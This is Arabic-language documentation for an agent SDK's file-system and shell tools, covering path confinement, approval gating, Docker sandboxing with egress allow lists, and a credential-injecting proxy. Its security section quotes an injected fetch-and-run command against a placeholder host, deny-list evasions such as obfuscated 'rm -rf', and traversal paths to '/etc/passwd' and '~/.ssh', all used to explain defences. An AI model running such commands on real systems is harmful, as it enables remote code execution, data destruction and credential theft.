Skip to main content
تمنح أدوات مساحة العمل الوكيلَ نظام ملفات وواجهة أوامر (shell)، فتستطيع بناء وكلاء برمجة على غرار Claude Code. لا تستخدم الأدوات node:fs ولا node:child_process مباشرة، بل تستدعي واجهتين صغيرتين هما FsProvider وShellProvider، فتعمل الأدوات نفسها على مجلد محلي، أو على شجرة ملفات في الذاكرة أثناء الاختبارات، أو على حاوية Docker، أو على بيئة معزولة (sandbox) بعيدة مثل E2B أو Daytona أو Cloudflare.
الوكيل المنشأ بـ createAgent() يتوقف مؤقتًا بالطريقة نفسها: يعيد send() نتيجة فيها finishReason: 'awaiting-approval'، ثم ينفّذ agent.approvals.resolve() الأمر (أو يرفضه) ويتابع (راجع الموافقات). لتسمح بتنفيذ بعض الأوامر من دون سؤال، مرّر needsApproval: false مع قائمة allow، أو مرّر في needsApproval دالة شرطية تعيد false للأوامر التي تثق بها.

الأدوات

يعيد createFsTools(fs, options?) أدوات defineTool التالية: يعيد createShellTool(shell, options?) أداة واحدة هي shell، تأخذ command وtimeout_ms اختياريًا، وتعيد { exitCode, stdout, stderr }. حين يُقتَل الأمر، تتضمن النتيجة أيضًا timedOut: true أو aborted: true مع note تبيّن السبب.
إلغاء التشغيل (agent.send(input, { signal }) أو AgentExecutor.execute({ signal })) يقتل الأمر الجاري مع كل العمليات التي بدأها: مجموعة العمليات في Linux وmacOS، وtaskkill /T في Windows.

نموذج الأمان

اقرأ هذا القسم قبل أن تمنح نموذجًا واجهة أوامر.

ما يُفرَض فعلًا

المسارات تبقى داخل الجذر. قبل المساس بأي ملف، يوحّد NodeWorkspace (وكذلك MemoryWorkspace) صيغة كل مسار. وتُرفَض الحالات التالية على كل المنصات:
  • .. التي تصعد فوق الجذر (../secret وsrc/../../secret)
  • المسارات المطلقة (/etc/passwd، وكذلك المسار المطلق الذي يشير إلى داخل الجذر)
  • حروف الأقراص في Windows (C:\Windows وC:secret)
  • مسارات UNC والمسارات ذات الطول الممتد (\\server\share و//server/share و\\?\C:\)
  • بايتات NUL
تُعَدّ الشرطات المائلة العكسية فواصل في كل مكان، فلا يمكن لخلط الفواصل (src/..\..\secret) أن يخفي ... وفي Windows تُرفَض أيضًا : (مجاري البيانات البديلة)، وأسماء الأجهزة المحجوزة (CON وNUL وCOM1 وغيرها)، والمقاطع المؤلفة من نقاط ومسافات فقط (يحذف Windows النقاط والمسافات في نهاية الاسم، فكانت .. ستعمل عمل ..). الروابط الرمزية لا تستطيع الخروج. بعد ذلك الفحص، يحلّ NodeWorkspace المسار باستخدام realpath. وإن لم يكن المسار موجودًا بعد، حلّ أعمق جزء موجود منه. ويجب أن تبقى النتيجة داخل المسار الحقيقي للجذر نفسه. وهذا يعني:
  • الرابط الموجود داخل الجذر ويشير إلى خارجه يُرفَض عند القراءة، وعند الكتابة إلى ملفات غير موجودة بعد (escape-link/new.txt).
  • الرابط الذي لا وجود لهدفه لا يُتبَع أبدًا، لأن الكتابة عبره قد تنشئ ملفًا خارج الجذر.
  • لا تتبع glob وgrep الروابط أبدًا أثناء المرور على شجرة الملفات.
  • تنفيذ rm على رابط يحذف الرابط نفسه ويترك هدفه كما هو.
حالات الرفض أخطاء أدوات. المسار المرفوض، أو الملف المفقود، أو التعديل الملتبس يرمي WorkspaceError داخل الأداة. يتلقى النموذج { "error": "WorkspaceError", "toolName": "read_file", "message": "..." } ويستمر التشغيل. تعرض الرسائل مسار مساحة العمل، لا مسار المضيف أبدًا. الأوامر تحصل على بيئة محدودة. ينفّذ NodeWorkspace الأوامر مع ضبط cwd على الجذر، ولا يمرّر إليها متغيرات بيئة العملية الأب. لا يُنسَخ سوى PATH وHOME وUSERPROFILE وTEMP وTMP وTMPDIR وLANG وLC_* وTERM، إضافة إلى SystemRoot وSystemDrive وComSpec وPATHEXT وWINDIR في Windows، لأن واجهة الأوامر تحتاج إليها لتبدأ. وعليه فإن OPENAI_API_KEY وANTHROPIC_API_KEY وبيانات اعتماد الخدمات السحابية وغيرها من الأسرار في بيئة خادمك غير مرئية للأوامر التي يكتبها النموذج، ولا يستطيع env أو printenv كشفها. لتعطي الأوامر أكثر من ذلك، مرّر قيمًا (env: { GITHUB_TOKEN: scopedToken }) أو سمِّ متغيرات من المضيف لتُنسَخ (inheritEnv: ['CI']). وكل ما تمرّره بهذه الطريقة مرئي للنموذج. يمرّر inheritEnv: true بيئة المضيف كاملة، كما كان الحال قبل وجود هذا السلوك الافتراضي؛ فلا تستخدمه إلا مع أوامر تثق بها. وفي Windows يضيف مشغّل العمليات في Node أيضًا متغيرات الجلسة التي تحتاج إليها كل عملية (HOMEDRIVE وHOMEPATH وUSERNAME وUSERDOMAIN وLOGONSERVER)؛ وليس أيٌّ منها سرًّا.
أداة واجهة الأوامر تحتاج إلى موافقة افتراضيًا. ما لم تختر غير ذلك، ينتظر كل أمر موافقة إنسان. تُفحَص allow وdeny أولًا، فالأمر المرفوض لا يُعرَض للموافقة أصلًا:
  • النمط النصي يطابق الأمر الذي يساوي النمط تمامًا، أو الذي يبدأ به متبوعًا بمسافة ('git status' يطابق git status -s).
  • في allow، الأمر الذي لا يطابقه سوى نمط نصي يجب ألا يحتوي على عوامل واجهة الأوامر (; & | ` $( < > أو سطر جديد). هذا يمنع git status; curl evil.sh | sh من المرور على أنه git status.
  • يُختبَر التعبير النمطي (RegExp) على سطر الأمر كله، فثبّت طرفيه: /^npm (test|run lint)$/.
  • تُفحَص الأنماط النصية في deny مقابل كل جزء من الأمر تفصله ; أو & أو |.

ما لا يُفرَض

  • واجهة الأوامر في NodeWorkspace ليست بيئة معزولة. حصر المسارات يسري على أدوات الملفات فقط. الأمر يعمل بحساب مستخدم نظام التشغيل الذي تعمل به، ويستطيع قراءة أي شيء يستطيعه ذلك المستخدم أو كتابته أو حذفه، ومن ذلك ../ و~/.ssh، ويستطيع استخدام الشبكة. الموافقة وقوائم allow تقلّل الخطر، لكنها ليست عزلًا. مع المدخلات غير الموثوقة، كالموجّهات الواردة من الجمهور أو المحتوى المجلوب من الويب، أعطِ أداة واجهة الأوامر ShellProvider يستند إلى بيئة معزولة (انظر أدناه)، واستخدم أدوات الملفات مع readOnly: true أو مع الموافقة.
  • قائمة المنع وسيلة تيسير لا أكثر. في واجهة الأوامر طرق كثيرة لكتابة الأمر نفسه (r''m -rf، $(echo rm)، مسافة زائدة، ملف سكربت)، فلا تعتمد على deny للأمان. استخدم allow لهذا الغرض.
  • حالات التسابق والروابط الصلبة. تُفحَص المسارات ثم تُستخدَم. والعملية التي تستبدل مجلدًا برابط رمزي بين هاتين الخطوتين تستطيع الالتفاف على الفحص. لكن عملية كهذه تملك وصولًا محليًا أصلًا، كأمر نفّذته أداة واجهة الأوامر من دون بيئة معزولة. ولا يمكن اكتشاف رابط صلب داخل الجذر يشير إلى ملف خارجه.
  • grep تنفّذ التعبير النمطي الذي يكتبه النموذج داخل عمليتك. قد يكون نمط خبيث البنية بطيئًا. عدد الأسطر والملفات محدود، لكن محرك التعابير النمطية نفسه غير مقيَّد بزمن.

واجهة أوامر معزولة: SandboxShell

يكيّف SandboxShell أي SandboxAdapter، مثل SubprocessSandbox المستند إلى Docker، ليصبح ShellProvider. يُنفَّذ كل أمر بالصيغة sh -c "<command>" في حاوية جديدة بلا شبكة. لا ترى الحاوية سوى cwd، وهو مربوط (bind mount) على المسار نفسه. ولا تحصل إلا على env الذي تمرّره، ولا شيء من المضيف. ويمكن لأدوات الملفات أن تواصل استخدام NodeWorkspace على المجلد نفسه:
البيئة والشبكة. يقبل SandboxShell خياري env وinheritEnv نفسيهما اللذين يقبلهما NodeWorkspace. الحاوية لا تحصل إلا على تلك المتغيرات: لا تحصل على بيئة المضيف أبدًا، ولا على PATH أو HOME الخاصين بالمضيف، لأن الصورة تأتي بقيمها الخاصة. مع NoopSandbox (الذي يعمل على المضيف) يحصل الأمر على الأساس الصغير نفسه الذي يستخدمه NodeWorkspace، إضافة إلى متغيراتك؛ ويعيد inheritEnv: true هناك بيئة المضيف كاملة، لكن الحاوية لا تتلقاها أبدًا مع ذلك. يقبل SubprocessSandbox سياسة network: تُفحَص أسماء المضيفات عند إنشاء البيئة المعزولة، فعنوان URL أو الاسم غير السليم يرمي خطأ؛ وتُحفَظ القائمة بعد التحقق منها في sandbox.network.

الاتصال الصادر بقائمة سماح: network: { allow } مع وسيط

لا يستطيع Docker بمفرده ترشيح حركة البيانات الصادرة بحسب اسم المضيف، لذا لا تُفرَض قائمة allow إلا حين يكون البروكسي (proxy) المنفذ الوحيد للحاوية إلى الخارج. يبني SubprocessSandbox ذلك بالعناصر الأساسية في Docker نفسه:
  1. عند أول استدعاء لـ run() ينشئ شبكة جسرية داخلية (Internal: true، بلا IPv6، وبالوسم com.lousho.sandbox=egress) اسمها networkName أو lousho-egress-<random>. الشبكة الداخلية لا مسار فيها إلى خارج الجسر. وإن وُجدت شبكة بذلك الاسم أُعيد استخدامها، بشرط أن تكون داخلية.
  2. يحصل الوسيط على مستمع ثانٍ على عنوان بوابة تلك الشبكة، وهو في Docker Engine على Linux واجهة المضيف نفسه على الجسر. لا يقبل المستمع اتصالات إلا من الشبكة الفرعية لتلك الشبكة (أي طرف آخر يُقطَع اتصاله قبل قراءة أي بايت)، فهو ليس بروكسي مفتوحًا على واجهات المضيف الأخرى. قائمة السماح الخاصة به هي مضيفات قواعد الوسيط مضافًا إليها قائمة allow الخاصة بالبيئة المعزولة. أما خيار allow الخاص بالوسيط ومستمعه على العنوان المحلي (loopback) فلا يتغيران.
  3. تنضم كل حاوية إلى تلك الشبكة مع ضبط HTTP_PROXY/HTTPS_PROXY (وصيغتيهما بالأحرف الصغيرة) على مستمع البوابة، مدموجةً فوق env الذي تمرّره. لا يحمل NO_PROXY سوى عنوان البوابة، فيصل $HTTP_PROXY/__broker/<host>/<path> (صيغة المسار التي تضيف بيانات الاعتماد) إلى الوسيط مباشرة؛ ولا يتيح ذلك أي تجاوز آخر، لأنه لا شيء آخر يمكن الوصول إليه.
  4. يوقف sandbox.close() المستمع ويحذف الشبكة إن كانت هذه البيئة المعزولة هي التي أنشأتها. التشغيل الملغى أو المنتهية مهلته يحذف حاويته كما في السابق؛ وتبقى الشبكة للتشغيل التالي للبيئة المعزولة إلى أن يُستدعى close().
ما الذي يفرضه هذا، وأين:
  • Docker Engine على Linux والوكيل على المضيف نفسه: مفروض. تستطيع الحاوية الوصول إلى عنوان البوابة ولا شيء بعد الجسر. أما DNS: فالحاوية لا تحلّ أي أسماء خارجية بنفسها (Engine 25.0.5 وما بعده لا يعيد توجيه DNS من الشبكات الداخلية، CVE-2024-29018؛ والإصدارات الأقدم من Engine تُرفَض)، فتذهب الأسماء إلى البروكسي الذي يحلّها على المضيف بعد فحص قائمة السماح. الاتصالات المباشرة بعناوين IP لا مسار لها. البروتوكولات غير HTTP (SSH، و TCP الخام، و UDP) محجوبة، لأن البروكسي وحده يمكن الوصول إليه، وتُفحَص أنفاق CONNECT مقابل قائمة السماح كأي طلب.
  • Docker Desktop (Windows وmacOS، و Desktop على Linux): مرفوض. الحاويات تعمل داخل آلة افتراضية، فلا يملك المضيف عنوانًا على الشبكة الداخلية. وhost.docker.internal لا يصل إلى المضيف إلا من الشبكات غير الداخلية، وهذه تصل إلى كل شيء آخر أيضًا. يرفض run() بالخطأ LOUSHO_SANDBOX_EGRESS_UNSUPPORTED ولا يشغّل أي حاوية. وكذلك الحال مع Docker بلا صلاحيات الجذر (rootless) (الجسر يقع في فضاء أسماء شبكة خاص به)، ومع خدمة Docker (daemon) على جهاز آخر (لا يستطيع الوسيط الارتباط بعنوان البوابة)، ومع شبكة مُعاد استخدامها وليست داخلية، ومع إصدار من Engine أقدم من 25.0.5.
  • خدمات أخرى على عنوان الجسر في المضيف. الحاوية الموجودة على شبكة داخلية تستطيع الوصول إلى أي خدمة على المضيف تستمع على عنوان البوابة أو على كل العناوين (0.0.0.0). اربط خدمات المضيف بـ 127.0.0.1، أو قيّد بجدار ناري الشبكة الفرعية للجسر لتصل إلى منفذ الوسيط فقط. وجدار المضيف الناري الذي يُسقط حركة البيانات القادمة من الجسر (سياسة INPUT صارمة) يحجب الوسيط أيضًا: عندئذ تفشل التشغيلات في الاتصال، ولا تحصل على اتصال صادر مفتوح.
  • أوامر المضيف ما زالت غير محمية بجدار ناري. أمر ينفّذه NodeWorkspace أو NoopSandbox يستطيع تجاهل متغيرات البروكسي؛ راجع ملاحظات وسيط بيانات الاعتماد أدناه.
هذه الضمانات مستمدة من سلوك الشبكات الداخلية الموثَّق في Docker؛ واختبارات حزمة SDK تتحقق من هذا الربط مقابل عميل Docker زائف، لا مقابل خدمة Docker حية.
ما لا يغطيه هذا: القيمة التي تمرّرها في env أو inheritEnv تستطيع أوامر النموذج قراءتها، وnetwork: 'default' يتيح للأمر إرسالها إلى أي مكان. أبقِ الأسرار طويلة الأمد خارجهما؛ واستخدم بدلًا من ذلك وسيط بيانات الاعتماد أدناه. عند إلغاء التشغيل، يمرّر SandboxShell إشارة الإلغاء إلى المهايئ. عندئذ يقتل SubprocessSandbox الحاوية ويحذفها، وتبلّغ أداة واجهة الأوامر بـ aborted: true؛ والإشارة الملغاة مسبقًا لا تشغّل أي حاوية. المهايئ الذي يتجاهل SandboxRunOptions.signal لا يُنتظَر بعد الآن، لكن أمره يظل يعمل حتى انتهاء مهلته؛ وأداة واجهة الأوامر تعيّن مهلة دائمًا.

وسيط بيانات الاعتماد

أمر ينفّذه النموذج (git أو curl أو سكربت) يحتاج أحيانًا إلى استدعاء واجهة API تتطلب مصادقة، لكن أي رمز وصول (token) في بيئته يستطيع النموذج قراءته. يُبقي createCredentialBroker() الرمز على المضيف: يشغّل بروكسي HTTP محليًا يضيف ترويسات المصادقة إلى الطلبات الموجَّهة إلى المضيفات التي تسمّيها، فلا يرى الأمر سوى عنوان البروكسي.
  • ما يعيده. url (البروكسي، على منفذ مؤقت على 127.0.0.1 افتراضيًا)، وenv (HTTP_PROXY وHTTPS_PROXY وNO_PROXY وصيغها بالأحرف الصغيرة، لتُمرَّر إلى خيار env في NodeWorkspace أو SandboxShell)، وbaseUrl(host)، وclose() الذي يوقف المستمع ويغلق المقابس المفتوحة. قيمة الترويسة سلسلة نصية أو دالة تُستدعى مع كل طلب.
  • قائمة السماح. مضيفات القواعد (أسماء مطابقة تمامًا أو *.suffix) مسموح بها ضمنيًا؛ ويضيف allow مضيفات يمكن الوصول إليها من دون ترويسات محقونة. أي مضيف آخر يتلقى 403 قبل فتح أي اتصال. المضيفات التي تؤول إلى عناوين محلية (loopback) أو عناوين link-local (مثل عنوان البيانات الوصفية السحابية 169.254.169.254) أو عناوين خاصة تُرفَض ما لم تُدرَج في allowPrivate، فلا يستطيع أمر استخدام البروكسي للوصول إلى خدمات على جهازك أو شبكتك.
  • الأسرار تبقى على المضيف. القيم المحقونة لا تظهر أبدًا في env، ولا في استجابات الخطأ من البروكسي، ولا في أي سجل. الطلب الموجَّه إلى مضيف يخدمه الوسيط ويحمل مسبقًا ترويسة Authorization تُحذَف ترويسته وتُستبدَل. الترويسات الخاصة بكل قفزة (Connection وProxy-Authorization وغيرها) لا تُعاد توجيهها.
  • قيد HTTPS. حقن الترويسات يعمل مع طلبات HTTP غير المشفّرة ومع صيغة المسار: يخدم الوسيط http://127.0.0.1:<port>/__broker/<host>/<path> ويعيد توجيهه إلى https://<host>/<path> مع إضافة الترويسات، وهذا ما يعيده baseUrl(host). وجّه أي أداة إلى عنوان URL الأساسي هذا (مثل خيار baseURL في حزمة SDK ما، أو عنوان URL لأمر curl) لتحصل على المصادقة من دون أن تحمل الرمز. أما العميل الذي يستخدم HTTPS_PROXY مع عنوان https:// فيفتح نفق CONNECT: يفحص الوسيط قائمة السماح على هدف النفق ويمرّر البايتات المشفّرة كما هي، فلا تُضاف أي ترويسة. الوسيط لا يعترض TLS.
  • ليس جدارًا ناريًا على المضيف. أمر ينفّذه NodeWorkspace يستطيع تجاهل متغيرات البروكسي وفتح اتصالاته الخاصة؛ فقائمة السماح لا تغطي إلا حركة البيانات المرسلة عبر الوسيط. ما يضمنه الوسيط هو أن الرمز لا يكون أبدًا في متناول الأمر.
  • الحاويات. لا تمرّر broker.env إلى SubprocessSandbox: فهو يشير إلى العنوان المحلي (loopback) للمضيف. مرّر الوسيط نفسه بدلًا من ذلك، new SubprocessSandbox({ network: { allow }, broker })، فتوجّه البيئة المعزولة حاوياتها عبره (راجع الاتصال الصادر بقائمة سماح). وتفعل ذلك باستخدام broker.listen({ host, clients, allow })، الذي يضيف مستمعًا على عنوان آخر لا يخدم إلا الأطراف القادمة من الشبكة الفرعية clients، وقائمة السماح الخاصة به هي مضيفات القواعد مضافًا إليها allow. الوسيط لا يستمع إلا على العنوان المحلي ما لم تستدعِ هذه الدالة.

كتابة مزوّدك الخاص

الواجهتان صغيرتان. المسارات نسبية إلى مساحة العمل وتستخدم /. تطبّق normalizeWorkspacePath() الفحوص نفسها التي تستخدمها المزوّدات المدمجة. المزوّد المتاح لنموذج يجب أن يحصر المسارات بنفسه، لأن أداة مخصصة قد تستدعيه مباشرة. عند الفشل ارمِ WorkspaceError برسالة مفهومة.
ينبغي أن يُتمّ ShellProvider.exec وعده بنتيجة، لا أن يرفضه، عند رمز خروج غير صفري، أو انتهاء المهلة (timedOut: true)، أو الإلغاء (aborted: true). ولا ينبغي أن يرفض إلا حين يتعذّر بدء الأمر.

الاختبار باستخدام MemoryWorkspace

يحفظ MemoryWorkspace شجرة الملفات في الذاكرة ويفحص المسارات بالطريقة نفسها. الدالة exec فيه بديل شكلي تبرمجه أنت، ويُسجَّل كل أمر يتلقاه. اجمعه مع mockModel لتحصل على اختبارات حتمية: